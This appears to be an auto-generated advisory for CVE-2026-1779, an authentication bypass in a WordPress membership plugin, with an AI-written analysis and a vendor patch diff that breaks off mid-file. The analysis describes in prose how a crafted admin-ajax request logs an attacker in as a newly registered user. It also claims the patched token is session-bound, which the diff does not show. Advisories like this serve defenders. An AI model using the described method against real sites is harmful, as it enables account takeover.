Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1779: User Registration & Membership <= 5.1.2 – Authentication Bypass (user-registration)

CVE ID CVE-2026-1779
Severity High (CVSS 8.1)
CWE 288
Vulnerable Version 5.1.2
Patched Version 5.1.3
Disclosed February 24, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1779:
The User Registration & Membership WordPress plugin, versions up to and including 5.1.2, contains an authentication bypass vulnerability. This flaw allows unauthenticated attackers to log in as newly registered users who have the ‘urm_user_just_created’ user meta flag set. The vulnerability stems from improper authentication logic in the membership registration flow, leading to a high-severity (CVSS 8.1) privilege escalation risk.

The root cause is the insecure handling of the ‘urm_user_just_created’ user meta flag during the membership registration process. In the vulnerable version, the file `user-registration/includes/frontend/class-ur-frontend-form-handler.php` at line 332 sets this flag to a static value ‘yes’ for any user registration involving a membership. The `register_member` function in the membership module’s AJAX handler (`user-registration/modules/membership/includes/AJAX.php`) then uses this flag as an authentication token. The function `login_member` is called without proper validation of the request’s authenticity, relying solely on the presence of this user meta value. This creates a race condition where an attacker can trigger the login sequence for a recently created user before the legitimate user completes their registration.

Exploitation requires an attacker to identify or predict a user ID that has just been registered with a membership. The attacker sends a crafted POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the action parameter set to `register_member`. The request must include the target user’s ID and the membership data. The vulnerable AJAX handler, located in `user-registration/modules/membership/includes/AJAX.php`, processes the request and calls the `login_member` function from `MembersService`. This function checks for the `urm_user_just_created` meta key. If present, it logs the attacker in as that user without requiring a password or any other authentication factor.

The patch addresses the vulnerability by replacing the static ‘yes’ value with a cryptographically secure hash. In the patched `class-ur-frontend-form-handler.php` at lines 333-341, the plugin now generates an HMAC-SHA256 hash using the user ID and WordPress’s authentication salt. This hash is stored as the `urm_user_just_created` meta value. Correspondingly, the `login_member` function in `MembersService` and the `ur_automatic_user_login` function in `functions-ur-core.php` now delete this meta key immediately after use. The patch also adds the hash generation only when a membership is involved (`!empty($_POST[‘membership_type’])`). This ensures the meta key acts as a one-time use token tied to the specific user and session, preventing replay attacks.

Successful exploitation grants an attacker access to the victim’s WordPress account with all associated privileges. This includes any capabilities assigned to the user role (e.g., subscriber, customer, or higher roles if the registration form grants them). Attackers can access personal data, perform actions as the user, and potentially escalate privileges further if the user has elevated permissions. The vulnerability represents a complete authentication bypass for the affected user accounts.

Differential between vulnerable and patched code

Code Diff
--- a/user-registration/chunks/analytics.asset.php
+++ b/user-registration/chunks/analytics.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-i18n'), 'version' => '06d415d07a8adb835583');
--- a/user-registration/chunks/blocks.asset.php
+++ b/user-registration/chunks/blocks.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-server-side-render'), 'version' => '0daf06e249724400ad37');
--- a/user-registration/chunks/content-access-rules.asset.php
+++ b/user-registration/chunks/content-access-rules.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '3062c7222eea20d25b64');
--- a/user-registration/chunks/dashboard.asset.php
+++ b/user-registration/chunks/dashboard.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'b3ad757068ff7212280e');
--- a/user-registration/chunks/divi-builder.asset.php
+++ b/user-registration/chunks/divi-builder.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime'), 'version' => '5390382781ce3d42d976');
--- a/user-registration/chunks/form_templates.asset.php
+++ b/user-registration/chunks/form_templates.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-i18n'), 'version' => 'a9b7d2ef2d8943b73480');
--- a/user-registration/chunks/formblock.asset.php
+++ b/user-registration/chunks/formblock.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime'), 'version' => '1d1b30bdd376f22e508c');
--- a/user-registration/chunks/welcome.asset.php
+++ b/user-registration/chunks/welcome.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-i18n'), 'version' => '677b2fdf649fe445e048');
--- a/user-registration/includes/Functions/CoreFunctions.php
+++ b/user-registration/includes/Functions/CoreFunctions.php
@@ -88,7 +88,7 @@
 		if ( ! check_ajax_referer( $nonce, 'security' ) ) {
 			wp_send_json_error(
 				array(
-					'message' => __( 'Nonce error please reload.', 'user-registration-membership' ),
+					'message' => __( 'Nonce error please reload.', 'user-registration' ),
 				)
 			);
 		}
@@ -107,7 +107,7 @@

 		$currencies = array(
 			'USD' => array(
-				'name'                => esc_html__( 'U.S. Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'U.S. Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -115,7 +115,7 @@
 				'decimals'            => 2,
 			),
 			'GBP' => array(
-				'name'                => esc_html__( 'Pound Sterling', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Pound Sterling', 'user-registration' ),
 				'symbol'              => '£',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -123,7 +123,7 @@
 				'decimals'            => 2,
 			),
 			'EUR' => array(
-				'name'                => esc_html__( 'Euro', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Euro', 'user-registration' ),
 				'symbol'              => '€',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -131,7 +131,7 @@
 				'decimals'            => 2,
 			),
 			'AUD' => array(
-				'name'                => esc_html__( 'Australian Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Australian Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -139,7 +139,7 @@
 				'decimals'            => 2,
 			),
 			'BRL' => array(
-				'name'                => esc_html__( 'Brazilian Real', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Brazilian Real', 'user-registration' ),
 				'symbol'              => 'R$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => '.',
@@ -147,7 +147,7 @@
 				'decimals'            => 2,
 			),
 			'CAD' => array(
-				'name'                => esc_html__( 'Canadian Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Canadian Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -155,7 +155,7 @@
 				'decimals'            => 2,
 			),
 			'CZK' => array(
-				'name'                => esc_html__( 'Czech Koruna', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Czech Koruna', 'user-registration' ),
 				'symbol'              => 'Kč',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -163,7 +163,7 @@
 				'decimals'            => 2,
 			),
 			'DKK' => array(
-				'name'                => esc_html__( 'Danish Krone', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Danish Krone', 'user-registration' ),
 				'symbol'              => 'kr.',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -171,7 +171,7 @@
 				'decimals'            => 2,
 			),
 			'HKD' => array(
-				'name'                => esc_html__( 'Hong Kong Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Hong Kong Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => ',',
@@ -179,7 +179,7 @@
 				'decimals'            => 2,
 			),
 			'HUF' => array(
-				'name'                => esc_html__( 'Hungarian Forint', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Hungarian Forint', 'user-registration' ),
 				'symbol'              => 'Ft',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -187,7 +187,7 @@
 				'decimals'            => 2,
 			),
 			'ILS' => array(
-				'name'                => esc_html__( 'Israeli New Sheqel', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Israeli New Sheqel', 'user-registration' ),
 				'symbol'              => '₪',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -195,7 +195,7 @@
 				'decimals'            => 2,
 			),
 			'MYR' => array(
-				'name'                => esc_html__( 'Malaysian Ringgit', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Malaysian Ringgit', 'user-registration' ),
 				'symbol'              => 'RM',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -203,7 +203,7 @@
 				'decimals'            => 2,
 			),
 			'MXN' => array(
-				'name'                => esc_html__( 'Mexican Peso', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Mexican Peso', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -211,7 +211,7 @@
 				'decimals'            => 2,
 			),
 			'NOK' => array(
-				'name'                => esc_html__( 'Norwegian Krone', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Norwegian Krone', 'user-registration' ),
 				'symbol'              => 'Kr',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => '.',
@@ -219,7 +219,7 @@
 				'decimals'            => 2,
 			),
 			'NZD' => array(
-				'name'                => esc_html__( 'New Zealand Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'New Zealand Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -227,7 +227,7 @@
 				'decimals'            => 2,
 			),
 			'PHP' => array(
-				'name'                => esc_html__( 'Philippine Peso', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Philippine Peso', 'user-registration' ),
 				'symbol'              => 'Php',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -235,7 +235,7 @@
 				'decimals'            => 2,
 			),
 			'PLN' => array(
-				'name'                => esc_html__( 'Polish Zloty', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Polish Zloty', 'user-registration' ),
 				'symbol'              => 'zł',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => '.',
@@ -243,7 +243,7 @@
 				'decimals'            => 2,
 			),
 			'RUB' => array(
-				'name'                => esc_html__( 'Russian Ruble', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Russian Ruble', 'user-registration' ),
 				'symbol'              => 'pyб',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => ' ',
@@ -251,7 +251,7 @@
 				'decimals'            => 2,
 			),
 			'SGD' => array(
-				'name'                => esc_html__( 'Singapore Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Singapore Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -259,7 +259,7 @@
 				'decimals'            => 2,
 			),
 			'ZAR' => array(
-				'name'                => esc_html__( 'South African Rand', 'user-registration-membership' ),
+				'name'                => esc_html__( 'South African Rand', 'user-registration' ),
 				'symbol'              => 'R',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -267,7 +267,7 @@
 				'decimals'            => 2,
 			),
 			'SEK' => array(
-				'name'                => esc_html__( 'Swedish Krona', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Swedish Krona', 'user-registration' ),
 				'symbol'              => 'Kr',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -275,7 +275,7 @@
 				'decimals'            => 2,
 			),
 			'CHF' => array(
-				'name'                => esc_html__( 'Swiss Franc', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Swiss Franc', 'user-registration' ),
 				'symbol'              => 'CHF',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -283,7 +283,7 @@
 				'decimals'            => 2,
 			),
 			'TWD' => array(
-				'name'                => esc_html__( 'Taiwan New Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Taiwan New Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -291,7 +291,7 @@
 				'decimals'            => 2,
 			),
 			'THB' => array(
-				'name'                => esc_html__( 'Thai Baht', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Thai Baht', 'user-registration' ),
 				'symbol'              => '฿',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
--- a/user-registration/includes/RestApi/controllers/version1/class-ur-form-templates.php
+++ b/user-registration/includes/RestApi/controllers/version1/class-ur-form-templates.php
@@ -92,7 +92,7 @@
 		if ( isset( $query_params['refresh'] ) ) {
 			delete_transient( 'user_registration_templates_data' );
 		}
-		$template_url      = 'https://d13ue4sfmuf7fw.cloudfront.net/';
+		$template_url      = 'https://assets.wpeverest.com/wpuserregistration/forms/';
 		$template_json_url = $template_url . 'templates1.json';

 		$transient_key    = 'user_registration_templates_data';
--- a/user-registration/includes/RestApi/controllers/version1/class-ur-getting-started.php
+++ b/user-registration/includes/RestApi/controllers/version1/class-ur-getting-started.php
@@ -1061,6 +1061,7 @@
 		$meta = array(
 			'payment_gateways' => array(),
 			'amount'           => $amount,
+			'role'             => 'subscriber',
 		);

 		if ( 'free' === $type_input ) {
--- a/user-registration/includes/admin/class-ur-admin-assets.php
+++ b/user-registration/includes/admin/class-ur-admin-assets.php
@@ -380,6 +380,7 @@
 				'form_one_time_draggable_fields_locked_message' => esc_html__( '%field% field can be used only one time in the form.', 'user-registration' ),
 				'form_membership_payment_fields_disabled_message' => esc_html__( 'Payment fields cannot be used alongside the membership field.', 'user-registration' ),
 				'form_membership_field_disabled_message'   => esc_html__( 'Membership field cannot be used alongside the payment fields.', 'user-registration' ),
+				'form_has_membership_available'             => function_exists( 'ur_has_membership_available' ) ? ur_has_membership_available() : false,
 				/* translators: %field%: Field Text */
 				'form_membership_payment_settings_disabled_title' => esc_html__( '%field% setting is disabled.', 'user-registration' ),
 				'form_membership_payment_settings_disabled_message' => esc_html__( 'Payment setting is not available when membership field is present in the form.', 'user-registration' ),
@@ -421,7 +422,7 @@
 				'ur_assets_url'                            => UR()->plugin_url() . '/assets/',
 				'i18n_prompt_no_membership_group_selected' => __( 'Membership Field requires a membership group to be selected.', 'user-registration' ),
 				'i18n_default_redirection_notice_for_membership' => esc_html__( 'If the form includes a membership field, users will be redirected to the membership thank you page after submission.', 'user-registration' ),
-				'i18n_email_confirmation_disabled_notice'  => esc_html__( 'If email confirmation is not enabled in email settings, users will not receive a confirmation email when this login option is selected.', 'user_registration' ),
+				'i18n_email_confirmation_disabled_notice'  => esc_html__( 'If email confirmation is not enabled in email settings, users will not receive a confirmation email when this login option is selected.', 'user-registration' ),
 				'email_confirmation_disabled'              => ur_string_to_bool( get_option( 'user_registration_enable_email_confirmation', true ) ) ? 'no' : 'yes',
 				'form_has_membership_field'                => check_membership_field_in_form( $form_id ),
 				'paypal_settings'                          => array(
--- a/user-registration/includes/admin/class-ur-admin-form-templates.php
+++ b/user-registration/includes/admin/class-ur-admin-form-templates.php
@@ -37,7 +37,7 @@
 	public static function get_template_data() {
 		$template_data = get_transient( 'user_registration_templates_data' );

-		$template_url = 'https://d13ue4sfmuf7fw.cloudfront.net/';
+		$template_url = 'https://assets.wpeverest.com/wpuserregistration/forms/';

 		if ( false === $template_data ) {

--- a/user-registration/includes/admin/class-ur-admin.php
+++ b/user-registration/includes/admin/class-ur-admin.php
@@ -574,7 +574,7 @@

 			if ( 'ur-template-refresh' === $action && ! empty( $templates ) ) {
 				if ( empty( $_GET['ur-template-nonce'] ) || ! wp_verify_nonce( sanitize_key( wp_unslash( $_GET['ur-template-nonce'] ) ), 'refresh' ) ) {
-					wp_die( esc_html_e( 'Could not verify nonce', 'user-registration' ) );
+					wp_die( esc_html__( 'Could not verify nonce', 'user-registration' ) );
 				}

 				foreach ( array( 'ur_pro_license_plan', 'ur_template_section_list' ) as $transient ) {
--- a/user-registration/includes/admin/settings/class-ur-settings-license.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-license.php
@@ -82,7 +82,7 @@
 					$settings['sections']['license_options_settings']['desc'] = '';
 					$settings['sections']['license_options_settings']['before_desc'] = wp_kses_post( '<div class="urm_license_setting_notice urm_install_pro_notice"><h3><span class="dashicons dashicons-info-outline notice-icon"></span>' . __('Complete Your Pro Setup', 'user-registration' ) . '</h3><p>' . __('Your license is activated, but User Registration & Membership pro plugin needs to be installed to unlock all features. This is a one-time setup that takes less than a minute.', 'user-registration' ) . '</p><button class="button install_pro_version_button">' . __( 'Install Pro Version', 'user-registration' ) . '</button></div>');
 				} else {
-					$settings[ 'sections' ][ 'license_options_settings' ][ 'before_desc' ] = __( 'You're currently using the free version of User Registration & Membership.<br>You can continue using all free features without any limitations.<br><br>Want more? <a target="_blank" href="' . esc_url( 'https://wpuserregistration.com/upgrade/?utm_source=ur-license-setting&utm_medium=upgrade-link&utm_campaign=' . UR()->utm_campaign ) . '">Upgrade to Pro</a> to unlock advanced features and premium support.<br>Already purchased Pro? Enter your license key below and we'll automatically upgrade you to Pro.', 'user-registration' );
+					$settings[ 'sections' ][ 'license_options_settings' ][ 'before_desc' ] = sprintf( __( 'You're currently using the free version of User Registration & Membership.<br>You can continue using all free features without any limitations.<br><br>Want more? <a target="_blank" href="%s">Upgrade to Pro</a> to unlock advanced features and premium support.<br>Already purchased Pro? Enter your license key below and we'll automatically upgrade you to Pro.', 'user-registration' ), esc_url( 'https://wpuserregistration.com/upgrade/?utm_source=ur-license-setting&utm_medium=upgrade-link&utm_campaign=' . UR()->utm_campaign ) );
 				}
 			} else {
 				if ( get_option( 'user-registration_license_key' ) ) {
--- a/user-registration/includes/admin/settings/class-ur-users-menu.php
+++ b/user-registration/includes/admin/settings/class-ur-users-menu.php
@@ -1631,7 +1631,7 @@
 									$login_option = ur_get_single_post_meta( $form_id, 'user_registration_form_setting_login_options', get_option( 'user_registration_general_setting_login_options', 'default' ) );

 									if ( current_user_can( 'manage_options' ) && $user_id === get_current_user_id() ) {
-										$this->errors[] = new WP_Error( 'edit_users', __( 'Sorry, Admin cannot deny themselves.', 'user_registration' ) );
+										$this->errors[] = new WP_Error( 'edit_users', __( 'Sorry, Admin cannot deny themselves.', 'user-registration' ) );
 										continue;
 									}
 									$user_manager->deny();
--- a/user-registration/includes/admin/views/html-login-page-forms.php
+++ b/user-registration/includes/admin/views/html-login-page-forms.php
@@ -46,7 +46,7 @@
 						</svg>
 						</button>

-						<button  id="ur-view-live-button" class="button button-secondary button-large"><a title="<?php esc_attr_e( sprintf( 'View Live in %s page', $login_page_title ), 'user-registration' ); ?>" href="<?php echo esc_url( add_query_arg( 'ur_login_preview', 'true', $login_page_url) ); ?>" target="_blank" rel="noreferrer noopener"><?php esc_html_e( 'View Live', 'user-registration' ); ?></a></button>
+						<button  id="ur-view-live-button" class="button button-secondary button-large"><a title="<?php echo esc_attr( sprintf( __( 'View Live in %s page', 'user-registration' ), $login_page_title ) ); ?>" href="<?php echo esc_url( add_query_arg( 'ur_login_preview', 'true', $login_page_url) ); ?>" target="_blank" rel="noreferrer noopener"><?php esc_html_e( 'View Live', 'user-registration' ); ?></a></button>
 					<?php else: ?>
 						<button name="create_login_page" data-form_id="<?php esc_attr_e( $login_page_id ) ?>" class="button button-large ur-embed-form-button ur-create-login-page-button" type="button" value="<?php esc_attr_e( 'Create Login Page', 'user-registration' ); ?>" title="<?php esc_attr_e( 'Create Login Page', 'user-registration' ); ?>">+ <?php esc_html_e( 'Create Login Page', 'user-registration' ); ?></button>
 					<?php endif; ?>
--- a/user-registration/includes/class-ur-ajax.php
+++ b/user-registration/includes/class-ur-ajax.php
@@ -1891,7 +1891,7 @@
 		if ( isset( $validate_before_save['status'] ) && ! $validate_before_save['status'] ) {
 			wp_send_json_error(
 				array(
-					'message' => __( $validate_before_save['message'], 'user_registration' ),
+					'message' => __( $validate_before_save['message'], 'user-registration' ),
 				)
 			);
 		}
@@ -1941,7 +1941,7 @@
 		if ( isset( $validate_before_save['status'] ) && ! $validate_before_save['status'] ) {
 			wp_send_json_error(
 				array(
-					'message' => __( $validate_before_save['message'], 'user_registration' ),
+					'message' => __( $validate_before_save['message'], 'user-registration' ),
 				)
 			);
 		}
--- a/user-registration/includes/frontend/class-ur-frontend-form-handler.php
+++ b/user-registration/includes/frontend/class-ur-frontend-form-handler.php
@@ -172,6 +172,7 @@
 					}
 				}
 				elseif ( 'auto_login' === $login_option ) {
+					delete_user_meta( $user_id, 'urm_user_just_created' );
 					wp_clear_auth_cookie();
 					$remember = apply_filters( 'user_registration_autologin_remember_user', false );
 					wp_set_auth_cookie( $user_id, $remember );
@@ -329,7 +330,16 @@
 		$current_language = isset( $_POST['registration_language'] ) ? ur_clean( $_POST['registration_language'] ) : $current_language; //phpcs:ignore.
 		update_user_meta( $user_id, 'ur_registered_language', $current_language );
 		$login_option   = ur_get_user_login_option( $user_id );
-		update_user_meta( $user_id, 'urm_user_just_created', 'yes' );
+
+		if( !empty( $_POST['membership_type'] ) ) {
+			$hash = hash_hmac(
+				'sha256',
+				(string) $user_id,
+				wp_salt( 'auth' )
+			);
+
+			update_user_meta( $user_id, 'urm_user_just_created', $hash );
+		}
 	}
 }

--- a/user-registration/includes/functions-ur-core.php
+++ b/user-registration/includes/functions-ur-core.php
@@ -649,6 +649,30 @@
 }

 /**
+ * Check if membership is available for the form builder (at least one group or one active membership).
+ *
+ * @return bool
+ */
+function ur_has_membership_available() {
+	if ( ! ur_check_module_activation( 'membership' ) ) {
+		return false;
+	}
+	$has_groups = false;
+	if ( class_exists( 'WPEverestURMembershipAdminRepositoriesMembershipGroupRepository' ) ) {
+		$repository = new WPEverestURMembershipAdminRepositoriesMembershipGroupRepository();
+		$groups     = $repository->get_all_membership_groups();
+		$has_groups = ! empty( $groups );
+	}
+	$has_memberships = false;
+	if ( class_exists( 'WPEverestURMembershipAdminServicesMembershipService' ) ) {
+		$service         = new WPEverestURMembershipAdminServicesMembershipService();
+		$memberships     = $service->list_active_memberships();
+		$has_memberships = ! empty( $memberships );
+	}
+	return $has_groups || $has_memberships;
+}
+
+/**
  * Get fields excluding in profile tab
  *
  * @return array
@@ -6363,6 +6387,7 @@
 	 * @since 3.1.5
 	 */
 	function ur_automatic_user_login( $user ) {
+		delete_user_meta( $user->ID, 'urm_user_just_created' );
 		wp_clear_auth_cookie();
 		$remember = apply_filters( 'user_registration_autologin_remember_user', false );
 		wp_set_auth_cookie( $user->ID, $remember );
--- a/user-registration/includes/functions-ur-template.php
+++ b/user-registration/includes/functions-ur-template.php
@@ -1362,9 +1362,7 @@
 			$form_id   = ur_get_form_id_by_userid( $user_id );
 			$user_data = get_userdata( $user_id );
 			$user_data = $user_data->data;
-
 			$form_data_array = ( $form_id ) ? UR()->form->get_form( $form_id, array( 'content_only' => true ) ) : array();
-
 			if ( ! empty( $form_data_array ) ) {
 				// No endpoint found? Default to dashboard.
 				ur_get_template(
--- a/user-registration/includes/log-handlers/RestApi/controllers/version1/class-ur-form-templates.php
+++ b/user-registration/includes/log-handlers/RestApi/controllers/version1/class-ur-form-templates.php
@@ -82,7 +82,7 @@
 		if ( isset( $query_params['refresh'] ) ) {
 			delete_transient( 'user_registration_templates_data' );
 		}
-		$template_url      = 'https://d13ue4sfmuf7fw.cloudfront.net/';
+		$template_url      = 'https://assets.wpeverest.com/wpuserregistration/forms/';
 		$template_json_url = $template_url . 'templates1.json';

 		$transient_key    = 'user_registration_templates_data';
--- a/user-registration/modules/content-restriction/class-urcr-post-types.php
+++ b/user-registration/modules/content-restriction/class-urcr-post-types.php
@@ -56,7 +56,7 @@
 						'menu_name'          => esc_html_x( 'Access Rules', 'Admin menu name', 'user-registration' ),
 						'add_new'            => esc_html__( 'Add content access rule', 'user-registration' ),
 						'add_new_item'       => esc_html__( 'Add new content access rule', 'user-registration' ),
-						'edit'               => esc_html__( 'Edit', 'user-content access rule' ),
+						'edit'               => esc_html__( 'Edit', 'user-registration' ),
 						'edit_item'          => esc_html__( 'Edit content access rule', 'user-registration' ),
 						'new_item'           => esc_html__( 'New content access rule', 'user-registration' ),
 						'view'               => esc_html__( 'View content access rules', 'user-registration' ),
--- a/user-registration/modules/content-restriction/functions-urcr-core.php
+++ b/user-registration/modules/content-restriction/functions-urcr-core.php
@@ -744,18 +744,24 @@

 			$target_post->post_content = $styled_content;

-			add_filter(
-				'elementor/frontend/the_content',
-				function () use ( $styled_content ) {
-					if ( ! urcr_is_elementor_content_restricted() ) {
-						urcr_set_elementor_content_restricted();
+			if( class_exists( 'ElementorPlugin' ) ) {
+				add_filter(
+					'elementor/frontend/the_content',
+					function () use ( $styled_content ) {
+						if ( ! urcr_is_elementor_content_restricted() ) {
+							urcr_set_elementor_content_restricted();
+
+							return $styled_content;
+						}

-						return $styled_content;
+						return '';
 					}
+				);

-					return '';
+				if( $is_whole_site_restriction ) {
+					$target_post->post_content = '';
 				}
-			);
+			}

 			return true;
 		} elseif ( 'redirect' === $action['type'] ) {
@@ -1710,4 +1716,3 @@

 	return ! empty( $posts ) ? json_decode( $posts[0]->post_content, true ) : array();
 }
-
--- a/user-registration/modules/membership/includes/AJAX.php
+++ b/user-registration/modules/membership/includes/AJAX.php
@@ -139,7 +139,6 @@
 			);
 		}
 		if ( empty( $data['payment_method'] ) ) {
-			wp_delete_user( $member_id );
 			wp_send_json_error(
 				array(
 					'message' => __( 'Payment method is required.', 'user-registration' ),
@@ -236,7 +235,6 @@
 		$pg_data       = array();
 		if ( 'free' !== $data['payment_method'] && $response['status'] ) {
 			$payment_service = new PaymentService( $data['payment_method'], $data['membership'], $data['email'] );
-
 			$form_response    = isset( $_POST['form_response'] ) ? (array) json_decode( wp_unslash( $_POST['form_response'] ), true ) : array();
 			$ur_authorize_net = array( 'ur_authorize_net' => ! empty( $form_response['ur_authorize_net'] ) ? $form_response['ur_authorize_net'] : array() );
 			$data             = array_merge( $data, $ur_authorize_net );
@@ -247,7 +245,8 @@

 			if ( ! empty( $form_response ) && isset( $form_response['auto_login'] ) && $form_response['auto_login'] && 'free' == $data['payment_method'] ) {
 				$members_service = new MembersService();
-				$logged_in       = $members_service->login_member( $member_id, true );
+				$password        = isset( $data['password'] ) ? $data['password'] : '';
+				$logged_in       = $members_service->login_member( $member_id, true, $password );
 				if ( ! $logged_in ) {
 					wp_send_json_error(
 						array(
@@ -1102,9 +1101,11 @@
 			}

 			$form_response = isset( $_POST['form_response'] ) ? (array) json_decode( wp_unslash( $_POST['form_response'] ), true ) : array();
+			$data = apply_filters( 'user_registration_membership_before_register_member', isset( $_POST['members_data'] ) ? (array) json_decode( wp_unslash( $_POST['members_data'] ), true ) : array() );
 			if ( ! empty( $form_response ) && isset( $form_response['auto_login'] ) && $payment_status !== 'failed' ) {
 				$members_service = new MembersService();
-				$logged_in       = $members_service->login_member( $member_id, true );
+				$password        = isset( $data['password'] ) ? $data['password'] : '';
+				$logged_in       = $members_service->login_member( $member_id, true, $password );
 				if ( ! $logged_in ) {
 					wp_send_json_error(
 						array(
@@ -1320,9 +1321,11 @@

 			$subscription_is_active = in_array( $subscription_status, array( 'active', 'trialing' ), true );

+			$data = apply_filters( 'user_registration_membership_before_register_member', isset( $_POST['members_data'] ) ? (array) json_decode( wp_unslash( $_POST['members_data'] ), true ) : array() );
+
 			if ( $subscription_is_active && ! empty( $form_response ) && isset( $form_response['auto_login'] ) && $form_response['auto_login'] ) {
 				$members_service = new MembersService();
-				$logged_in       = $members_service->login_member( $member_id, true );
+				$logged_in       = $members_service->login_member( $member_id, true, isset( $data['password'] ) ? $data['password'] : '' );
 				if ( ! $logged_in ) {
 					wp_send_json_error(
 						array(
@@ -2750,6 +2753,16 @@
 	 * Fetch upgrade path for selected memberships in the group.
 	 */
 	public static function fetch_upgrade_path() {
+		ur_membership_verify_nonce( 'ur_membership_group' ); // nonce verification.
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error(
+				array(
+					'message' => __( 'Sorry, You do not have permission to set upgrade path.', 'user-registration' ),
+				)
+			);
+		}
+
 		if ( empty( $_POST['membership_ids'] ) ) {
 			wp_send_json_error(
 				array(
@@ -2758,9 +2771,9 @@
 			);
 		}
 		$membership_upgrade_service = new UpgradeMembershipService();
-		$memberships                = isset( $_POST['membership_ids'] ) ? $_POST['membership_ids'] : '';
+		$membership_ids                = isset( $_POST['membership_ids'] ) ? $_POST['membership_ids'] : '';

-		if ( empty( $memberships ) ) {
+		if ( empty( $membership_ids ) ) {
 			return wp_send_json_error(
 				array(
 					'message' => __( 'Please select memberships.', 'user-registration' ),
@@ -2768,10 +2781,10 @@
 			);

 		}
-		$memberships           = implode( ',', $memberships );
+		$membership_ids = array_filter( array_map( 'absint', $membership_ids ) );
 		$membership_repository = new MembershipRepository();

-		$memberships = $membership_repository->get_multiple_membership_by_ID( $memberships, false );
+		$memberships = $membership_repository->get_multiple_membership_by_ID( $membership_ids, false );

 		$upgrade_paths = $membership_upgrade_service->fetch_upgrade_paths( $memberships, 'manual' );

--- a/user-registration/modules/membership/includes/Admin.php
+++ b/user-registration/modules/membership/includes/Admin.php
@@ -488,10 +488,8 @@
 			$installed_version = get_option( 'ur_membership_db_version', '0.0.0' );

 			if ( version_compare( $installed_version, '1.0.0', '<' ) ) {
-				if ( defined( 'UR_PRO_ACTIVE' ) && UR_PRO_ACTIVE ) {
-					self::on_activation();
-					update_option( 'ur_membership_db_version', '1.0.0' );
-				}
+				self::on_activation();
